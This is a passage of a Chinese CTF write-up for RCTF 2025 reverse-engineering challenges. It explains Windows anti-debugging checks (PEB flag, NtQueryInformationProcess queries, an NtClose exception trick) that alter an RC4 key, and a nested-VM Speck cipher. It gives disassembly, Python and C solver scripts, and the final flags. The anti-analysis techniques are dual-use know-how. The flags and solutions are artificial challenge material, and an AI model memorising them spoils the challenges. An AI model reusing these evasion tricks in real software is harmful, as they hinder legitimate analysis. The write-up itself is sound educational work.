ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:00401440 sub_401440 proc near ; CODE XREF: .text:004010F1↑p....text:0040144D push 0 ; lpModuleName = NULL.text:0040144F call ds:GetModuleHandleA.text:00401455 mov [ebp+var_8], eax ; 模块基址.text:00401458 mov [ebp+var_4], 0.text:0040145F jmp short loc_40146A
.text:00401461 loc_401461:.text:00401461 mov eax, [ebp+var_4].text:00401464 add eax, 1.text:00401467 mov [ebp+var_4], eax
.text:0040146A loc_40146A:.text:0040146A cmp [ebp+var_4], 10000h.text:00401471 jnb short loc_4014AA.text:00401473 mov ecx, [ebp+var_8].text:00401476 add ecx, [ebp+var_4].text:00401479 mov edx, [ecx] ; 取一个 dword.text:0040147B mov [ebp+var_C], edx.text:0040147E cmp [ebp+var_C], 12345678h.text:00401485 jnz short loc_4014A8.text:00401487 mov eax, [ebp+var_8].text:0040148A add eax, [ebp+var_4].text:0040148D movsx ecx, byte ptr [eax+4].text:00401491 cmp ecx, 75h ; 'u'.text:00401494 jz short loc_4014A8.text:00401496 mov edx, [ebp+var_4].text:00401499 mov eax, [ebp+var_8].text:0040149C lea ecx, [eax+edx+4].text:004014A0 mov dword_40440C, ecx ; 保存指针.text:004014A6 jmp short loc_4014AA
.text:004014AA loc_4014AA:.text:004014AA mov eax, dword_40440C.text:004014AF mov esp, ebp.text:004014B1 pop ebp.text:004014B2 retn
.text:0040147E cmp [ebp+var_C], 12345678h
所以dword_40440C指向flag:{Th1sflaglsG00ds} 的起始地址。
第一次反调试
loc_4010DA:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004010DA loc_4010DA:.text:004010DA mov ebx, 22222222h.text:004010DF mov byte ptr [ebp-5], 1.text:004010E3 push eax.text:004010E4 mov eax, large fs:30h ; PEB.text:004010EA mov al, [eax+2] ; BeingDebugged.text:004010ED mov [ebp-5], al.text:004010F0 pop eax.text:004010F1 call sub_401440 ; 设置 dword_40440C.text:004010F6 mov dword_404408, 8.text:00401100 movzx eax, byte ptr [ebp-5].text:00401104 test eax, eax.text:00401106 jz short loc_40110A ; 未调试 -> 改 key.text:00401108 jmp short loc_401119
.text:0040110A loc_40110A:.text:0040110A mov ecx, dword_40440C.text:00401110 add ecx, dword_404408 ; +8.text:00401116 mov byte ptr [ecx], 69h ; 'i'
如果 没有被调试 (BeingDebugged == 0),会跳到 loc_40110A,把 (dword_40440C + 8)改成 i。
初始 key 第 8 个字节是 1,所以这里实际上把 Th1s 改成 This
第二次反调试
这一段在 sub_401130 里,通过 NtQueryInformationProcess(info class = 7)查 debug object handle
loc_40124A:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040124A loc_40124A:.text:0040124A mov ebx, 22222222h.text:0040124F call ds:GetCurrentProcess.text:00401255 mov [ebp-10h], eax.text:00401258 push 0.text:0040125A push 4.text:0040125C lea eax, [ebp-8] ; 输出句柄位置.text:0040125F push eax.text:00401260 push 7 ; ProcessInformationClass = 7.text:00401262 mov ecx, [ebp-10h].text:00401265 push ecx ; ProcessHandle.text:00401266 call dword ptr [ebp+8] ; NtQueryInformationProcess.text:00401269 mov dword_404408, 0Eh.text:00401273 cmp dword ptr [ebp-8], 0.text:00401277 jz short loc_40127B ; ==0 则改 key.text:00401279 jmp short loc_40128A
.text:0040127B loc_40127B:.text:0040127B mov edx, dword_40440C.text:00401281 add edx, dword_404408 ; +0x0E.text:00401287 mov byte ptr [edx], 49h ; 'I'
DebugObjectHandle == 0:
就把 *(dword_40440C + 0x0E)改成 I
原始那里是 l,所以 flagls变成flagIs
第三次变换
这一段利用异常处理器修改 key
loc_40130D:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040130D loc_40130D:.text:0040130D mov ebx, 22222222h.text:00401312 push offset aNtdllDll_0 ; "Ntdll.dll".text:00401317 call ds:LoadLibraryW.text:0040131D mov [ebp-24h], eax.text:00401320 cmp dword ptr [ebp-24h], 0.text:00401324 jnz short loc_401328.text:00401326 jmp short loc_401383
.text:00401328 loc_401328:.text:00401328 mov dword_404408, 11h.text:00401332 push offset aNtclose ; "NtClose".text:00401337 mov eax, [ebp-24h].text:0040133A push eax.text:0040133B call ds:GetProcAddress ; 取 NtClose 地址到 [ebp-28h].text:00401341 mov [ebp-28h], eax.text:00401344 cmp dword ptr [ebp-28h], 0.text:00401348 jnz short loc_40134C.text:0040134A jmp short loc_401383
.text:0040134C loc_40134C:.text:0040134C mov dword ptr [ebp-4], 0.text:00401353 push 99999999h.text:00401358 call dword ptr [ebp-28h] ; NtClose(0x99999999).text:0040135B mov dword ptr [ebp-4], 0FFFFFFFEh.text:00401362 jmp short loc_401383
NtClose(0x99999999) 正常会触发异常,异常处理函数就是 sub_40136A:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040136A sub_40136A proc near ; SEH handler.text:0040136A mov esp, [ebp-18h].text:0040136D mov ecx, dword_40440C.text:00401373 add ecx, dword_404408 ; +0x11.text:00401379 mov byte ptr [ecx], 6Fh ; 'o'.text:0040137C mov dword ptr [ebp-4], 0FFFFFFFEh
SEH handler 执行时把 *(dword_40440C + 0x11) 改为 ‘o’
原本这里是 ‘0’,所以 G00ds 的第一个 0 被改成 ‘o’
第四次反调试
loc_4013EA:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004013EA loc_4013EA:.text:004013EA mov ebx, 22222222h.text:004013EF call ds:GetCurrentProcess.text:004013F5 mov [ebp-10h], eax.text:004013F8 push 0.text:004013FA push 4.text:004013FC lea eax, [ebp-8].text:004013FF push eax.text:00401400 push 1Fh ; info class = 0x1F (ProcessDebugFlags).text:00401402 mov ecx, [ebp-10h].text:00401405 push ecx.text:00401406 call dword ptr [ebp+8] ; NtQueryInformationProcess.text:00401409 mov dword_404408, 12h.text:00401413 cmp dword ptr [ebp-8], 1.text:00401417 jz short loc_40141B.text:00401419 jmp short loc_40142A
.text:0040141B loc_40141B:.text:0040141B mov edx, dword_40440C.text:00401421 add edx, dword_404408 ; +0x12.text:00401427 mov byte ptr [edx], 6Fh ; 'o'
如果ProcessDebugFlags == 1即未调试,把 *(dword_40440C + 0x12) 改为 ‘o’
所以,G00ds 的第二个 0 也被改成 ‘o’
最终的key:
ounter(lineflag:{ThisflagIsGoods}
RC4部分
初始化:sub_4017D0
ounter(lineounter(lineounter(lineounter(linepush 80h ; key 长度 0x80push [ebp-190h] ; key 指针 = dword_40440Cpush &statecall sub_4017D0
后面补零到0x80字节
sub_4017D0是标准的RC4KSA
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004017D0 sub_4017D0 proc near....text:004017E4 mov eax, [ebp+arg_0].text:004017E7 mov byte ptr [eax+101h], 0 ; j = 0.text:004017EE mov ecx, [ebp+arg_0].text:004017F1 mov byte ptr [ecx+100h], 0 ; i = 0.text:004017F8 mov [ebp+var_4], 0.text:004017FF jmp short loc_40180A
.text:0040180A loc_40180A: ; 初始化 S[i] = i.text:0040180A cmp [ebp+var_4], 100h.text:00401811 jnb short loc_401820.text:00401813 mov eax, [ebp+arg_0].text:00401816 add eax, [ebp+var_4].text:00401819 mov cl, byte ptr [ebp+var_4].text:0040181C mov [eax], cl...
.text:00401820 loc_401820: ; KSA 主循环.text:00401820 mov [ebp+var_4], 0....text:00401832 loc_401832:.text:00401832 cmp [ebp+var_4], 100h.text:00401839 jnb short loc_40189A.text:0040183B mov eax, [ebp+arg_0].text:0040183E add eax, [ebp+var_4].text:00401841 movzx ecx, byte ptr [eax].text:00401844 mov [ebp+var_10], ecx ; S[i].text:00401847 mov edx, [ebp+arg_4].text:0040184A add edx, [ebp+var_C] ; key[j].text:0040184D movzx eax, byte ptr [edx].text:00401850 add eax, [ebp+var_10].text:00401853 add eax, [ebp+var_8].text:00401856 mov [ebp+var_8], eax ; j += S[i] + key[i%keylen].text:00401859 mov ecx, [ebp+var_8].text:0040185C and ecx, 0FFh.text:00401862 mov [ebp+var_8], ecx ; j &= 0xFF...; 然后交换 S[i], S[j]
sub_4018A0是 PRGA,输出密钥流并 XOR 数据
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004018A6 mov eax, [ebp+arg_0].text:004018A9 mov [ebp+var_4], eax ; S base.text:004018AC mov ecx, [ebp+arg_0].text:004018AF movzx edx, byte ptr [ecx+100h].text:004018B6 mov [ebp+var_8], edx ; i.text:004018B9 mov eax, [ebp+arg_0].text:004018BC movzx ecx, byte ptr [eax+101h].text:004018C3 mov [ebp+var_C], ecx ; j....text:004018D5 cmp [ebp+var_18], 0.text:004018D9 jz short loc_401955 ; 长度耗尽结束.text:004018DB mov ecx, [ebp+var_8].text:004018DE add ecx, 1.text:004018E1 and ecx, 0FFh.text:004018E7 mov [ebp+var_8], ecx ; i = (i+1)&0xFF.text:004018EA mov edx, [ebp+var_4].text:004018ED add edx, [ebp+var_8].text:004018F0 movzx eax, byte ptr [edx].text:004018F3 mov [ebp+var_10], eax ; S[i].text:004018F6 mov ecx, [ebp+var_C].text:004018F9 add ecx, [ebp+var_10].text:004018FC and ecx, 0FFh.text:00401902 mov [ebp+var_C], ecx ; j = (j+S[i])&0xFF...; 交换 S[i], S[j],然后:.text:00401927 mov edx, [ebp+var_10].text:0040192A add edx, [ebp+var_14].text:0040192D and edx, 0FFh.text:00401933 mov eax, [ebp+var_4].text:00401936 movzx ecx, byte ptr [eax+edx] ; S[(S[i]+S[j])&0xFF].text:0040193A mov edx, [ebp+arg_4].text:0040193D movzx eax, byte ptr [edx].text:00401940 xor eax, ecx ; data ^= K.text:00401942 mov ecx, [ebp+arg_4].text:00401945 mov [ecx], al.text:00401947 mov edx, [ebp+arg_4].text:0040194A add edx, 1.text:0040194D mov [ebp+arg_4], edx ; data++.text:00401950 jmp loc_4018C6 ; 继续下一个字节
最终exp:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linekey_str = b"flag:{ThisflagIsGoods}"KEY_LEN = 0x80key = bytearray(key_str + b"\x00" * (KEY_LEN - len(key_str)))cipher = bytes([ 0x0f, 0x1a, 0x8a, 0x5a, 0x22, 0xab, 0x1e, 0x63, 0x19, 0x5a, 0x87, 0xf2, 0xe6, 0xe9, 0xd7, 0xd1, 0x97, 0xf9, 0xf8, 0x32, 0x5b, 0xde, 0x2d, 0xd6, 0xa3, 0x4f, 0x7e, 0xcb, 0x61, 0xb2, 0x3f, 0xbf, 0xb7, 0x1b, 0x0a, 0x84, 0xb3, 0xb4, 0xde, 0x03, 0x46, 0x7b, 0x83, 0x2a, 0x51, 0x73, 0xe0, 0x7c, 0x93, 0x27, 0x44, 0x9c, 0x56, 0x8f, 0x75, 0xfa, 0xa0, 0x79, 0x26, 0xda, 0x08, 0x01, 0x85, 0x66, 0x7d, 0xbb, 0xee, 0x0f, 0x89, 0x59, 0xd4, 0x5f, 0xac, 0x18, 0xae, 0x0b, 0x4e, 0xf0, 0xb7, 0xdd, 0xdd, 0x55, 0x4b, 0xea, 0x07, 0x92, 0x5c, 0x8a, 0x53, 0xf3, 0xff, 0xf7, 0xa7, 0xdd, 0x2e, 0xe6, 0xed, 0x0f, 0x77, 0x2c, 0x4a, 0x22, 0xf1, 0x36, 0x4f, 0xa7, 0x55, 0x5e, 0x3e, 0x93, 0xa4, 0x34, 0x29, 0x67, 0xfc, 0x23, 0x79, 0x19, 0xd8, 0xc9, 0x2b, 0xcf,])
def rc4_ksa(key_bytes): S = list(range(256)) j = 0 keylen = len(key_bytes) for i in range(256): j = (j + S[i] + key_bytes[i % keylen]) & 0xFF S[i], S[j] = S[j], S[i] return S
def rc4_prga(S, data): i = j = 0 out = bytearray() for b in data: i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) & 0xFF] out.append(b ^ k) return bytes(out)
S = rc4_ksa(key)plain = rc4_prga(S, cipher)print(plain)"""b'RCTF{AntiDbg_Reversing_2025_v2.0_Ch4llenge}\xda\x95\xc0K\x07\xba\x9b[b\xdc\xf6S \xa8x\xa3\xbcu\xbaki\xf4\xe2:P%AzT\xe2\xe8\x19\x0e\x12q\xb3ByI\x16J\xbe\x95\xce\xd6\xd9\xa0\x0c\x08Pz\xf3\xc8\x0b\xe2x[fh\xd3\xc7y\xe8\xf2\xb03E\xa0G|9\xc2\xb0\xdd-\xf1\xae\xd7\xec'"""
Onion
vm 套娃
输入一堆数,加密顺序为
简易运算加密
类tea,魔改好多,问ai说是speck
明文加密结果与密文进行校验然后作为key解密下一段vmcode。
循环往复,如此套娃。
思路是,解决第一个数,后面用同样的方法进行能工智人即可,全自动化不会。
解决第一个数
首先是还原指令流,一般两种方法,写代码模拟或者trace打log。
此处使用后者。
然后队友使用强大的钞能力进行了一波ai分析。得到第一层的大体逻辑。
ai分析得到了上面概述说的大体流程,当然也结合了一些经验。
so,第二步,解密第一个数。
解密两步走
- 从log中提取关键值。
- 还原解密代码
第一步,从log中提取关键值。
需要提取的有 简易运算加密的参数,以及speck的参数。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line00010223 .text:vm_execute+A96 mov rax, [rax+rcx] RAX=48F0E6421AC66DEA 00010223 .text:vm_execute+60B mov rcx, [rsp+rdi*8+328h+s] RCX=48F0E6421AC66DEA 00010223 .text:vm_execute+613 mov rdx, rcx RDX=48F0E6421AC66DEA
key0 = 0x36B1CC9FE433713D 提取于:00010223 .text:vm_execute:loc_55555556BE01 mov rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器 RAX=36B1CC9FE433713Dkey1 = 0xF97646D69C84EBD8 提取于:00010223 .text:vm_execute:loc_55555556BE01 mov rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器 RAX=F97646D69C84EBD8
第二步
解密脚本如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#include <stdio.h>#include <stdint.h>
// 32位循环移位uint32_t ror32(uint32_t v, int s) { s &= 31; return (v >> s) | (v << (32 - s)); }uint32_t rol32(uint32_t v, int s) { s &= 31; return (v << s) | (v >> (32 - s)); }
// speck解密uint64_t vm_tea_decrypt(uint64_t input) { uint32_t v0 = input & 0xFFFFFFFF; uint32_t v1 = (input >> 32) & 0xFFFFFFFF; uint32_t keys[27]; uint32_t r2 = 0xE433713D, r3 = 0x36B1CC9F, r4 = 0x9C84EBD8, r5 = 0xF97646D6; for (int i = 0; i < 27; i++) { keys[i] = r2; if (i < 26) { uint32_t t0 = ror32(r3, 8) + r2; t0 ^= i; uint32_t t1 = rol32(r2, 3) ^ t0; r2 = t1; r3 = r4; r4 = r5; r5 = t0; } } for (int i = 26; i >= 0; i--) { v1 ^= v0; v1 = ror32(v1, 3); v0 ^= keys[i]; v0 -= v1; v0 = rol32(v0, 8); } return ((uint64_t)v1 << 32) | v0;}
// reverseuint64_t reverse_xor(uint64_t v) { v ^= 0x8CB331163A92FC19ULL; v += 0x5566488C9C5CF234ULL; v ^= 0x5074D85B9194E696ULL; v += 0x48F0E6421AC66DEAULL; return v;}
int main() { uint64_t target = 0xDA19BA6B81C83F61ULL;
uint64_t after_tea = vm_tea_decrypt(target); printf("TEA dec: 0x%016llx\n", after_tea);
uint64_t result = reverse_xor(after_tea); printf("Result: 0x%016llx (%llu)\n", result, result);
return 0;}
如此,我们就搓出来了。。。第一个数。那么剩下29个怎么办。能工智人,继续搓。
enc: 0xda19ba6b81c83f61 key:0x36b1cc9fe433713d,0xf97646d69c84ebd8
02= a28f38bd0463522c
enc: 0x659391a5dc3522b3 key:0x8d85b3156df9f721,0x28e3d33340bc0884
01= bf11b34d0ce941cc
enc: 0x5538224d4c7a252akey:0x1d1a63b571be74bc,0x3e36eee3aac04cfd
14= ef320f9e6ae31520
enc: 0x9766ec5e9e3303c0key:0x66a2d5250151c6d, 0x6d20bd39b0f2badc
11= 36646367b78c2f91
以下省略
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineba610b6c5d80c91abf11b34d0ce941cca28f38bd0463522c79ed5d84199dd9cb4d9c56b2a1d77a0dfe13c54ceb12fea8494a63fc85b9953aad1f6be84bbb4680cd05f91609d653fa55493aa141fbe86f25bc9aff736b80a8d8817dda43824d2c5fcca9a9cb65130d6f3ed35da24dacfab5e1534e1dc36c87ac1b4e2750778a01c8f82d07316dcd3b36646367b78c2f919eed7637cd5eaa26ff546a0085041459ef320f9e6ae315201e00a4b9e25488f61a9a0626a035fb9de2f1eb0e5248cd2c8a0bf5239eed75c4749e8082db34037df4d25540ed584887c12422512500c8877e1a125dcfa56359497cff13eaa5bf76d51ceddab7795459a922933b0b315a10cabd557ffa1df043e0459b855188d04582700d6f6a986873c01552dff3a12f670615548ece7312fb0e189fa8296579138d4c8f2124957228451572c65bcb3425554fca602792e8794f749f6bbca2014cb1e1adc831c8d5679c73a6d3f711e66e2ab305ec4e07b0b498a16d274bb044d2c409de0e72c1029e5e68e47d3a360a80a1570f48caceb3ddd6ab1c9a18ebb936RCTF{VM_ALU_SMC_RC4_SPECK!_593eb6079d2da6c187ed462b033fee34}
下次碰到套娃题,一定写解释器模拟自动化((
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
责任编辑:@Neko205
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星盟安全 @星盟安全团队《RCTF2025-WP》